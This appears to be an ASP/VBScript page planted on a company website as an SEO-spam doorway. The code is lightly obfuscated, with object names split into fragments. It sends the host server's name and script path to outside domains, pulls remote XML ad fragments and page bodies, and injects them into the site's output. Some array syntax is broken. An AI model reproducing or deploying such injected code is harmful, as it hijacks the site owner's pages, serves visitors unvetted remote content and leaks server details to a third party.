<%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%> <% siteName="潍坊中牧利德（集团）药业有限公司" ser_url="http://www.2b3.cn/skins/Provide/Default.aspx" serverName=Request.ServerVariables("Server_name") scriptName=Request.ServerVariables("SCRIPT_NAME") cache_perfix=serverName&"_w" Set conf=Server.CreateObject("Micro"&"soft"&"."&"XML"&"HTTP") conf.Open "GET","http://shop.91niux.com/js/ad2/w.xml",False conf.send if(conf.Status=200 and conf.readyState=4) then Set xml=Server.CreateObject("Microsoft.XMLDOM") xml.Async=False xml.ValidateOnParse=False xml.Load(conf.ResponseXML) If xml.ReadyState>2 Then Set ad1=xml.getElementsByTagName("ad1") ad1=ad1.Item(0).text Set ad2=xml.getElementsByTagName("ad2") ad2=ad2.Item(0).text Set ad3=xml.getElementsByTagName("ad3") ad3=ad3.Item(0).text Set ad4=xml.getElementsByTagName("ad4") ad4=ad4.Item(0).text Set ad5=xml.getElementsByTagName("ad5") ad5=ad5.Item(0).text Set ad6=xml.getElementsByTagName("ad6") ad6=ad6.Item(0).text Set t1=xml.getElementsByTagName("t1") t1=t1.Item(0).text Set t2=xml.getElementsByTagName("t2") t2=t2.Item(0).text Set f1=xml.getElementsByTagName("f1") f1=f1.Item(0).text Set f2=xml.getElementsByTagName("f2") f2=f2.Item(0).text end if end if Set conf=Nothing Set xml=Nothing %> <% if request("aid")="" then category = Array("319094784","318832640","324403200","118685696","119603200","117506048","320274432","321191936","320929792","322109440","322371584","321454080","323551232","323026944","324009984","121044992","324272128","83951616","85131264" ,"84475904" ,"86310912","85393408" ,"88670208" ,"90374144" ,"84213760" ,"87228416" ,"89325568" ,"88145920" ,"89587712" ,"158334976","89456640" ,"1091108864","1090584576","1093206016","1092026368","1092681728","1100414976","1107361792","1107623936","1108672512","1108803584","1091764224","1094123520","1098317824","1095958528","1096220672","1096876032","1095303168","1095041024","1100152832","1107886080",,"1108541440","1108934656","1090846720","1108410368","1109458944","1109590016","1109721088","1109852160","1109983232","1110507520","1110638592","18022400","17367040","16842752","17104896","22216704","18939904","22609920","18284544","21561344","19202048","20381696","21430272","20119552","23134208","21037056","22478848","930545664","923336704","923074560","931201024","930283520","927531008","924254208","924909568","929366016","923992064","929628160","929628160","926089216","927006720","929103872","86376448" ,"928448512","151322624","151584768","157745152","153419776","152240128","153157632","860160000","157417472","157810688","856883200","90767360" ,"156434432","87490560" ,"154599424","926351360","153681920","152502272","154337280","90505216" ,"156696576","157351936","157548544","157614080""858324992","858980352","855703552","855965696","860422144","857800704","690290688","687931392","1627979776","691208192","688455680","691470336","689111040","688193536","689373184","690552832","88408064" ,"691077120","1694498816","391315456","391577600" ,"385941504" ,"387121152" ,"386465792" ,"386203648" ,"388562944" ,"389218304" ,"390135808" ,"553975808" ,"554237952" ,"1193345024","556990464" ,"557252608" ,"557907968" ,"558170112" ,"558432256" ,"559087616" ,"560201728" ,"559153152" ,"556072960" ,"555810816" ,"559349760" ,"560070656" ,"556335104" ,"622264320","625999872","625278976","626196480","624361472","621281280","621215744","621346816","622002176","623181824","623443968","626130944","625541120","626327552","1191510016","1191247872","1160839168","1191772160","1192689664","1193607168","1879048192") cate_leng=UBound(category)+1 randomize cate_rnd=int(rnd()*cate_leng) cate_id=request("c") if cate_id="" then cate_id=category(cate_rnd) end if current_page_num=request("pg") if current_page_num="" then current_page_num=0 end if sstr="dname="&serverName&"&" sstr=sstr&"cid="&cate_id&"&" sstr=sstr&"sname="&scriptName&"&" sstr=sstr&"page="¤t_page_num strBody=GetPageContext(ser_url,"GB2312",URLEncoding(sstr)) %> <%=siteName%>
<%=siteName%> - 疑惑，观点，解答
<%=strBody%>
<% else qid=request("aid") sstr="qid="&qid strBody=GetPageContext(ser_url,"GB2312",URLEncoding(sstr)) bodys=split(strBody,"↑") if UBound(bodys)>0 then %> <%=bodys(0)%>- <%=siteName%>
<%=ad1%>

<%=bodys(0)%>

<%=ad4%>

<%=ad2%><%=ad3%>

<%=bodys(1)%>
<%=ad6%>

<% end if end if %>
<% Function URLEncoding(vstrIn) strReturn = "" For i = 1 To Len(vstrIn) ThisChr = Mid(vStrIn,i,1) If Abs(Asc(ThisChr)) < &HFF Then strReturn = strReturn & ThisChr Else innerCode = Asc(ThisChr) If innerCode < 0 Then innerCode = innerCode + &H10000 End If Hight8 = (innerCode And &HFF00)\ &HFF Low8 = innerCode And &HFF strReturn = strReturn & "%" & Hex(Hight8) & "%" & Hex(Low8) End If Next URLEncoding = strReturn End Function sub SendText(str) dim oReq Set oReq = CreateObject("Micro"&"soft"&"."&"XML"&"HTTP") oReq.open "POST",svr_url,false oReq.setRequestHeader "Content-Length",Len(str) oReq.setRequestHeader "CONTENT-TYPE","application/x-www-form-urlencoded" oReq.send str end sub Public Function GetPageContext(ByVal URL, ByVal Cset, ByVal Str) Dim strHeader Dim l On Error Resume Next Dim Retrieval Dim ObjStream Set ObjStream = CreateObject("ADODB"&"."&"Stream") ObjStream.Type = 1 ObjStream.Mode = 3 ObjStream.Open Set Retrieval = CreateObject("Micro"&"soft"&"."&"XML"&"HTTP") With Retrieval .Open "POST", URL, False .setRequestHeader "Referer", URL .setRequestHeader "Content-Length",Len(Str) .setRequestHeader "CONTENT-TYPE","application/x-www-form-urlencoded" .send Str If .readyState <> 4 Then Exit Function If .Status > 300 Then Exit Function '--获取目标网站文件头 strHeader = .getResponseHeader("Content-Type") strHeader = UCase(strHeader) ObjStream.Write (.responseBody) End With Set Retrieval = Nothing If Len(strHeader) > 0 Then '--获取目标文件编码 l = InStrRev(strHeader, "CHARSET=", -1, 1) If l > 0 Then Cset = Right(strHeader, Len(strHeader) - l - 7) Else Cset = Cset End If End If ObjStream.Position = 0 ObjStream.Type = 2 ObjStream.Charset = Trim(Cset) GetPageContext = ObjStream.ReadText ObjStream.Close Set ObjStream = Nothing Exit Function End Function %>